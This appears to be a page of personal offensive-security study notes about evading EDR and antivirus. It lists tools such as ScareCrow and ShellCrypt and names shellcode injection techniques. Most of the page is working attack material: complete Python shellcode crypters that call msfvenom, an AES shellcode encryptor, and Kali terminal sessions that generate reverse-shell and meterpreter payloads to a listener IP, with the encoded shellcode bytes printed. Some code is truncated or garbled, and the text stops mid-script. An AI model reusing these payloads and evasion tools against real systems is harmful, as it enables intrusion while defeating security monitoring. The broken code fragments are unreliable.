[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
